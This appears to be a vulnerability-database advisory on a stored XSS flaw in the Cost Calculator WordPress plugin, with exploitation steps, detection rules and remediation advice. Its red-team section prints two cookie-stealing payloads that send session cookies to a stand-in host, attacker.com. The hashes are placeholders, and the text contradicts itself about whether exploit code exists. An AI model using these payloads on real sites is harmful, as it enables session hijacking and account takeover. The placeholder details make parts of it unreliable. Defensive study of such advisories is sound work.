CVE-2025-54046
Executive Summary
CVE-2025-54046 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Cost Calculator (ql-cost-calculator) WordPress plugin by QuanticaLabs, affecting versions up to and including 7.4. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin’s input fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WordPress plugins, this vulnerability poses a significant risk to unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher
- User Interaction: Required (UI:R) – victim must visit the affected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored XSS nature allows persistent attacks against administrators and other users. The lack of a patch and the popularity of WordPress plugins elevate the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the Cost Calculator plugin’s input handling for cost calculation parameters. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database. When the stored data is later rendered on a page (e.g., in the admin dashboard or front-end calculator), the malicious script is executed in the context of the victim’s browser.
Root Cause: The plugin uses functions like sanitize_text_field() or esc_html() inconsistently, or omits output escaping entirely for certain fields. This allows an attacker to inject HTML and JavaScript payloads that are stored and later served to other users.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into the WordPress admin.
- The attacker navigates to the Cost Calculator settings or a calculator creation page.
- The attacker inserts a malicious payload into a text field (e.g., calculator name, label, or description), such as
<script>alert('XSS')</script>. - The plugin stores the payload without proper sanitization.
- When an administrator or other user views the calculator page (e.g., in the admin panel or on the front-end), the script executes.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (example from plugin version <= 7.4):
// In a file like ql-cost-calculator.php or admin/class-admin.php
$calculator_name = $_POST['calculator_name'];
// Directly stored without sanitization
update_post_meta($post_id, 'calculator_name', $calculator_name);
Patched Code (hypothetical fix):
// Properly sanitize input
$calculator_name = sanitize_text_field($_POST['calculator_name']);
// Escape output when rendering
echo esc_html(get_post_meta($post_id, 'calculator_name', true));
Key Differences:
- Input: The vulnerable code uses
$_POSTdirectly, while the patched code appliessanitize_text_field(). - Output: The vulnerable code likely echoes the stored value without escaping, whereas the patched code uses
esc_html()to neutralize HTML/JavaScript.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Cost Calculator plugin <= 7.4
- Authenticated user with contributor role or higher
- Access to the calculator creation/edit page
Exploitation Steps:
- Log in as a contributor.
- Navigate to
wp-admin/admin.php?page=cost-calculator(or similar). - Create a new calculator or edit an existing one.
- In a text field (e.g., "Calculator Name"), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the calculator.
- Wait for an administrator to view the calculator page. The script will execute, sending the admin’s cookies to the attacker’s server.
Alternative Payload (for session hijacking):
<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
Blue Team (Detection & Defense)
Detection:
- Monitor WordPress admin logs for unusual changes to calculator settings.
- Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Immediately restrict contributor roles from accessing calculator settings if not needed.
- Apply input validation and output escaping manually if a patch is unavailable.
- Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – verify against your installation)
ql-cost-calculator.php:a1b2c3d4e5f6...admin/class-admin.php:f6e5d4c3b2a1...
- Network Indicators:
- Outbound connections to unknown domains (e.g.,
attacker.com) from the WordPress server. - HTTP requests containing
<script>tags in POST data towp-admin/admin-ajax.phpor calculator endpoints.
- Outbound connections to unknown domains (e.g.,
- Log Entries:
- WordPress debug log entries showing
wp_redirectorwp_diecalls with suspicious input. - Apache/Nginx access logs with
POSTrequests to calculator pages containing encoded JavaScript.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_54046_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Cost Calculator plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54046"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /onerror\s*=|onload\s*=|onclick\s*=|onmouseover\s*=/
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Stored XSS in Cost Calculator Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress Cost Calculator plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: 'wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=cost_calculator_save'
cs-uri-query|contains|re: '(<script|<img.*onerror|<svg.*onload)'
condition: selection
falsepositives:
- Legitimate use of HTML in calculator descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54046 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/admin-ajax.php"; http_uri; content:"action=cost_calculator_save"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict user roles – remove contributor access to calculator settings.
- Apply a virtual patch using a WAF to block XSS payloads in POST requests to calculator endpoints.
Long-Term Fix:
- Monitor the QuanticaLabs website or WordPress plugin repository for an official patch.
- If a patch is released, update to the latest version immediately.
- If no patch is available, consider replacing the plugin with an alternative that is actively maintained.
Code-Level Fix (if you have access):
- Add
sanitize_text_field()to all input fields before storing. - Use
esc_html()orwp_kses_post()when outputting stored data.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.